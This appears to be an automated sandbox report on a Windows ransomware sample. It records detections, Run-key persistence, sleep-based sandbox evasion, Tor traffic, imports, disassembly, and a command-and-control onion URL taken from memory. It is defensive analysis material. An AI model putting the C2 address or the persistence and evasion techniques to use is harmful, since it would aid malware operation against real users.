Source: global traffic	HTTP traffic detected: GET /tor/server/fp/215e661619cda14e354335f81c9a475f78f1cd8a HTTP/1.0Host: 185.189.112.162User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:

Source: unknown	HTTPS traffic detected: 46.38.232.203:443 -> 192.168.2.3:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.210.85.178:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 135.148.53.55:443 -> 192.168.2.3:49725 version: TLS 1.2

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78CAD4 memmove,memmove,memmove,CryptImportKey,CryptDestroyKey,	0_2_00007FF61D78CAD4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78BC04 CryptDecodeObject,CryptImportKey,	0_2_00007FF61D78BC04
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787EE4 memmove,CryptImportKey,	0_2_00007FF61D787EE4

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78272C	0_2_00007FF61D78272C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78A54C	0_2_00007FF61D78A54C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7856B4	0_2_00007FF61D7856B4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D782A90	0_2_00007FF61D782A90

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Code function: String function: 00007FF61D781720 appears 100 times

Source: SPXp2YHDFz.exe	ReversingLabs: Detection: 84%
Source: SPXp2YHDFz.exe	Virustotal: Detection: 67%
Source: SPXp2YHDFz.exe	Metadefender: Detection: 48%

Source: SPXp2YHDFz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SPXp2YHDFz.exe C:\Users\user\Desktop\SPXp2YHDFz.exe
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\SPXp2YHDFz.exe "C:\Users\user\Desktop\SPXp2YHDFz.exe"
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\SPXp2YHDFz.exe "C:\Users\user\Desktop\SPXp2YHDFz.exe"
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1756:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5256:120:WilError_01

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

File created: C:\Users\user\Desktop\cached-consensus

Jump to behavior

Source: classification engine

Classification label: mal72.evad.winEXE@6/1@0/32

Source: SPXp2YHDFz.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SPXp2YHDFz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SPXp2YHDFz.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 4e2i4mzlhy			Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 4e2i4mzlhy			Jump to behavior

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe TID: 4644	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe TID: 5288	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe TID: 3104	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: SPXp2YHDFz.exe, 00000000.00000002.650699473.0000026812428000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Code function: 0_2_00007FF61D781720 GetCurrentThreadId,GetLocalTime,_cwprintf_s_l,

0_2_00007FF61D781720

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	Exfiltration Over Other Network Medium	22 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	12 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	1 Proxy	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SPXp2YHDFz.exe	84%	ReversingLabs	Win64.Ransomware.Cryptoff
SPXp2YHDFz.exe	67%	Virustotal		Browse
SPXp2YHDFz.exe	49%	Metadefender		Browse
SPXp2YHDFz.exe	100%	Avira	HEUR/AGEN.1220861
SPXp2YHDFz.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
5.0.SPXp2YHDFz.exe.7ff61d780000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
9.0.SPXp2YHDFz.exe.7ff61d780000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
0.0.SPXp2YHDFz.exe.7ff61d780000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
9.2.SPXp2YHDFz.exe.7ff61d780000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
0.2.SPXp2YHDFz.exe.7ff61d780000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
5.2.SPXp2YHDFz.exe.7ff61d780000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File

URLs

Source	Detection	Scanner	Label
http://199.249.230.177/tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825	0%	Avira URL Cloud	safe
http://217.155.40.118/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	0%	Avira URL Cloud	safe
http://94.131.2.71/tor/server/fp/43ca065f629e92fec9a82788f332232625a52b8e	0%	Avira URL Cloud	safe
http://199.249.230.161/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	0%	Avira URL Cloud	safe
http://199.249.230.160/tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064	0%	Avira URL Cloud	safe
http://92.222.79.186/tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825	0%	Avira URL Cloud	safe
http://185.35.202.222/tor/server/fp/df7868eaf856654e73e72f774bf3ce1fec5cb049	0%	Avira URL Cloud	safe
http://199.249.230.174/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	0%	Avira URL Cloud	safe
http://192.160.102.170/tor/server/fp/5b9086d4bfb9ea36c95897daed72fc3973847b43	0%	Avira URL Cloud	safe
http://176.9.75.110/tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd	0%	Avira URL Cloud	safe
http://pm2pavba27wr4m34.onion/command.txt	0%	Avira URL Cloud	safe
http://131.188.40.189/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://193.23.244.244/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://pm2pavba27wr4m34.onion/command.txt%s	0%	Avira URL Cloud	safe
http://194.5.96.70/tor/server/fp/32828476f4f84e15c42b4c360a5cd8de4c3c2be7	0%	Avira URL Cloud	safe
http://51.77.109.21/tor/server/fp/1ec775024a7f2f4f46bfe1e7c587daacdc5204d5	0%	Avira URL Cloud	safe
http://74.208.203.175/tor/server/fp/b34cc9056250847d1980f08285b01cf0b718c0b6	0%	Avira URL Cloud	safe
http://199.249.230.186/tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064	0%	Avira URL Cloud	safe
http://185.189.112.162/tor/server/fp/215e661619cda14e354335f81c9a475f78f1cd8a	0%	Avira URL Cloud	safe
http://199.249.230.179/tor/server/fp/43ad3376735b4a227920ad06d2d9b6970b3c75df	0%	Avira URL Cloud	safe
http://86.59.21.38/tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775	0%	Avira URL Cloud	safe
http://199.249.230.184/tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd	0%	Avira URL Cloud	safe
http://185.216.179.206/tor/server/fp/43af24071b400911629d5bc9fc20de335f9dfc00	0%	Avira URL Cloud	safe

Domains and IPs

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://199.249.230.177/tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825	false	Avira URL Cloud: safe	unknown
http://94.131.2.71/tor/server/fp/43ca065f629e92fec9a82788f332232625a52b8e	false	Avira URL Cloud: safe	unknown
http://199.249.230.161/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	false	Avira URL Cloud: safe	unknown
http://217.155.40.118/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	false	Avira URL Cloud: safe	unknown
http://199.249.230.160/tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064	false	Avira URL Cloud: safe	unknown
http://92.222.79.186/tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825	false	Avira URL Cloud: safe	unknown
http://185.35.202.222/tor/server/fp/df7868eaf856654e73e72f774bf3ce1fec5cb049	false	Avira URL Cloud: safe	unknown
http://199.249.230.174/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	false	Avira URL Cloud: safe	unknown
http://192.160.102.170/tor/server/fp/5b9086d4bfb9ea36c95897daed72fc3973847b43	false	Avira URL Cloud: safe	unknown
http://193.23.244.244/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://176.9.75.110/tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd	false	Avira URL Cloud: safe	unknown
http://131.188.40.189/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://194.5.96.70/tor/server/fp/32828476f4f84e15c42b4c360a5cd8de4c3c2be7	false	Avira URL Cloud: safe	unknown
http://51.77.109.21/tor/server/fp/1ec775024a7f2f4f46bfe1e7c587daacdc5204d5	false	Avira URL Cloud: safe	unknown
http://74.208.203.175/tor/server/fp/b34cc9056250847d1980f08285b01cf0b718c0b6	false	Avira URL Cloud: safe	unknown
http://185.189.112.162/tor/server/fp/215e661619cda14e354335f81c9a475f78f1cd8a	false	Avira URL Cloud: safe	unknown
http://199.249.230.186/tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064	false	Avira URL Cloud: safe	unknown
http://199.249.230.179/tor/server/fp/43ad3376735b4a227920ad06d2d9b6970b3c75df	false	Avira URL Cloud: safe	unknown
http://86.59.21.38/tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775	false	Avira URL Cloud: safe	unknown
http://199.249.230.184/tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd	false	Avira URL Cloud: safe	unknown
http://185.216.179.206/tor/server/fp/43af24071b400911629d5bc9fc20de335f9dfc00	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pm2pavba27wr4m34.onion/command.txt	SPXp2YHDFz.exe, SPXp2YHDFz.exe, 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.256649151.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000002.655300180.0000026814EB3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pm2pavba27wr4m34.onion/command.txt%s	SPXp2YHDFz.exe, 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.256649151.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
199.249.230.184	unknown	United States	62744	QUINTEXUS	false
199.249.230.160	unknown	United States	62744	QUINTEXUS	false
199.249.230.161	unknown	United States	62744	QUINTEXUS	false
74.208.203.175	unknown	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
199.249.230.186	unknown	United States	62744	QUINTEXUS	false
185.189.112.162	unknown	United Kingdom	9009	M247GB	false
194.5.96.70	unknown	Netherlands	57944	IPC-ASUA	false
92.222.79.186	unknown	France	16276	OVHFR	false
86.59.21.38	unknown	Austria	8437	UTA-ASAT	false
108.20.210.121	unknown	United States	701	UUNETUS	false
185.216.179.206	unknown	Austria	45040	EXTRAIP-ASNL	false
62.210.85.178	unknown	France	12876	OnlineSASFR	false
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
185.35.202.222	unknown	Norway	50304	BLIXNO	false
199.249.230.179	unknown	United States	62744	QUINTEXUS	false
128.31.0.39	unknown	United States	3	MIT-GATEWAYSUS	false
104.131.11.214	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
94.131.2.71	unknown	Ukraine	29632	NASSIST-ASGI	false
195.60.166.2	unknown	unknown	208258	ACCESS2ITNL	false
51.77.109.21	unknown	France	16276	OVHFR	false
199.249.230.174	unknown	United States	62744	QUINTEXUS	false
199.249.230.177	unknown	United States	62744	QUINTEXUS	false
135.148.53.55	unknown	United States	18676	AVAYAUS	false
46.38.232.203	unknown	Germany	197540	NETCUP-ASnetcupGmbHDE	false
192.160.102.170	unknown	Canada	395089	HEXTETCA	false
217.155.40.118	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
135.125.202.252	unknown	United States	18676	AVAYAUS	false
107.189.28.121	unknown	United States	53667	PONYNETUS	false
108.240.182.140	unknown	United States	7018	ATT-INTERNET4US	false
51.81.93.145	unknown	United States	16276	OVHFR	false
176.9.75.110	unknown	Germany	24940	HETZNER-ASDE	false
193.23.244.244	unknown	Germany	50472	CHAOS-ASDE	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	728981
Start date and time:	2022-10-24 11:06:22 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SPXp2YHDFz.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.evad.winEXE@6/1@0/32
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.9% (good quality ratio 88.8%) Quality average: 65.1% Quality standard deviation: 32.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 68 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
11:08:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4e2i4mzlhy C:\Users\user\Desktop\SPXp2YHDFz.exe
11:08:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4e2i4mzlhy C:\Users\user\Desktop\SPXp2YHDFz.exe

Created / dropped Files

C:\Users\user\Desktop\cached-consensus

Download File

Process:	C:\Users\user\Desktop\SPXp2YHDFz.exe
File Type:	ASCII text, with very long lines (713)
Category:	modified
Size (bytes):	2374410
Entropy (8bit):	5.545205574349763
Encrypted:	false
SSDEEP:	12288:/VY5VIwsNYGFeQ10/iJX/y9I4p7RXzIzJm:/VY5V+NYGKIX69IctDIlm
MD5:	D1E27100146E5F8443921286EF49EE5B
SHA1:	2527D3D7A5FE73EC7660FCBAA83DADF204B07111
SHA-256:	55E828E98329613CAB581150FA610163BF66245953FE1D4C33323CF6832F0961
SHA-512:	1CBB6301C5C392C8DB562735A175A4E45A462831E4A6B806B5696BBB6C3736A44FFA3E76DAADEBAC452A0575BA12F02BEE803EB0869AF2987FBF492F3E02B956
Malicious:	false
Reputation:	low
Preview:	network-status-version 3.vote-status consensus.consensus-method 32.valid-after 2022-10-24 09:00:00.fresh-until 2022-10-24 10:00:00.valid-until 2022-10-24 12:00:00.voting-delay 300 300.client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10.server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10.known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.0060850550618605
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SPXp2YHDFz.exe
File size:	119306
MD5:	93cfe55bf738e084cd73bc7bf27aaaa8
SHA1:	277abda1d07f4f390d9dadce80be3c06b511a8e9
SHA256:	3edd12728fa881d1ab3193b7130f313dffe41a35ef5fb33df77331b96b594d6c
SHA512:	f2732b9c11e654f0856b911097330bb26de82f3c55f6ea9fdd80b85be4439477c50976c1e666771c510f6c8a44569cae11b8202f73dd1c570b2da9db7dd2f38e
SSDEEP:	1536:UE+HW8nZU49ihyhxopuOFwXkJn2Fj8B2KjgtAb7at6E6clUCcjuI7ICyOK8WMJDu:UET8nTXiU+Re2Fc6clgHJ+x1n
TLSH:	82C34C7E79A482FAC1A6C87BD5D18A43F7B2B4420F39976F01D1132E4F3B6915E2C126
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..6..le..le..le..md..lem.md..le..mec.leZ.od..le..ed6.le..nd..leRich..le................PE..d......_.........."...... .........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x140002378
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FE70FF7 [Sat Dec 26 10:27:03 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	eb2c7528c5e1067c1720a7639ed0ef7f

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F0DD8D4E60Ch
call 00007F0DD8D4E69Bh
call 00007F0DD8D4D54Ah
int3
xor eax, eax
ret
int3
dec eax
sub esp, 38h
dec eax
mov dword ptr [esp+20h], FFFFFFFEh
call dword ptr [00010ED5h]
nop
dec eax
add esp, 38h
ret
int3
int3
int3
dec esp
mov ebx, esp
dec ecx
mov dword ptr [ebx+08h], ecx
push edi
dec eax
sub esp, 40h
dec ecx
mov dword ptr [ebx-10h], FFFFFFFEh
dec ecx
mov dword ptr [ebx+18h], ebx
dec eax
mov ebx, edx
dec eax
mov edi, ecx
xor eax, eax
mov dword ptr [esp+30h], eax
dec eax
mov dword ptr [ecx+08h], eax
dec eax
mov dword ptr [ecx+10h], eax
dec eax
mov dword ptr [ecx+18h], eax
mov dword ptr [esp+30h], 00000001h
dec ecx
mov dword ptr [ebx+10h], eax
mov edx, dword ptr [edx+08h]
sub edx, dword ptr [ebx]
dec ecx
lea eax, dword ptr [ebx+10h]
dec ecx
mov dword ptr [ebx-28h], eax
inc ebp
xor ecx, ecx
inc ecx
mov eax, 4000000Ch
dec eax
mov ecx, dword ptr [ebx]
call dword ptr [00010C91h]
dec eax
mov edx, dword ptr [esp+58h]
dec eax
dec edx
dec eax
mov ecx, edi
call 00007F0DD8D4DF5Eh
dec esp
mov ecx, dword ptr [edi+08h]
dec eax
mov edx, dword ptr [ebx+08h]
dec eax
sub edx, dword ptr [ebx]
dec ecx
mov eax, ecx
dec eax
neg eax
dec ebp
sbb edx, edx
dec esp
and dword ptr [esp+58h], edx
dec eax
lea eax, dword ptr [esp+58h]
dec eax
mov dword ptr [esp+20h], eax
inc ecx
mov eax, 4000000Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1be80	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1e000	0x10c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0x144	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x17430	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11ea0	0x12000	False	0.4960801866319444	data	6.226727544999615	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x9788	0x9800	False	0.3680612664473684	data	4.7776495816776965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d000	0x458	0x200	False	0.0546875	Matlab v4 mat-file (little endian) \377\377\377\377, text, rows 1, columns 0	0.15842690200323517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1e000	0x10c8	0x1200	False	0.462890625	data	4.78977768986138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0x144	0x200	False	0.515625	data	3.92443111285425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
bcrypt.dll	BCryptSetProperty, BCryptCloseAlgorithmProvider, BCryptOpenAlgorithmProvider
CRYPT32.dll	CryptBinaryToStringA, CryptStringToBinaryA, CryptDecodeObject
WS2_32.dll	inet_addr, inet_ntoa, WSACleanup, closesocket, gethostbyname, WSAStartup, send, socket, connect, recv, htons, setsockopt, WSAGetLastError
Secur32.dll	InitSecurityInterfaceA
KERNEL32.dll	CreateThread, GetModuleFileNameA, Sleep, GetConsoleWindow, GetConsoleScreenBufferInfo, SetConsoleTextAttribute, GetStdHandle, GetCurrentThreadId, GetLocalTime, GetTickCount, GetCommandLineW, LocalFree, GetEnvironmentVariableA, LoadLibraryA, ReadFile, WriteFile, SetFilePointer, GetFileAttributesA, CreateFileA, CloseHandle, GetFileSize, FlushFileBuffers, WaitForSingleObject, TerminateThread, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection
USER32.dll	ShowWindow
ADVAPI32.dll	RegEnumValueA, RegSetValueExA, CryptExportKey, CryptDuplicateHash, CryptEncrypt, CryptSetKeyParam, CryptImportKey, CryptDestroyKey, CryptCreateHash, CryptHashData, RegQueryInfoKeyA, RegCloseKey, CryptReleaseContext, RegOpenKeyExA, CryptDestroyHash, CryptGetHashParam, CryptGenRandom, CryptAcquireContextA
SHELL32.dll	CommandLineToArgvW
msvcrt.dll	__CxxFrameHandler3, atexit, vprintf, free, malloc, vsprintf_s, _vscprintf, sscanf, _mkgmtime, time, wcstombs, memmove, memchr, memcmp, memcpy, memset

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2022 11:08:41.229547024 CEST	49689	9131	192.168.2.3	128.31.0.39
Oct 24, 2022 11:08:44.238944054 CEST	49689	9131	192.168.2.3	128.31.0.39
Oct 24, 2022 11:08:50.239600897 CEST	49689	9131	192.168.2.3	128.31.0.39
Oct 24, 2022 11:08:53.723193884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.743913889 CEST	80	49692	131.188.40.189	192.168.2.3
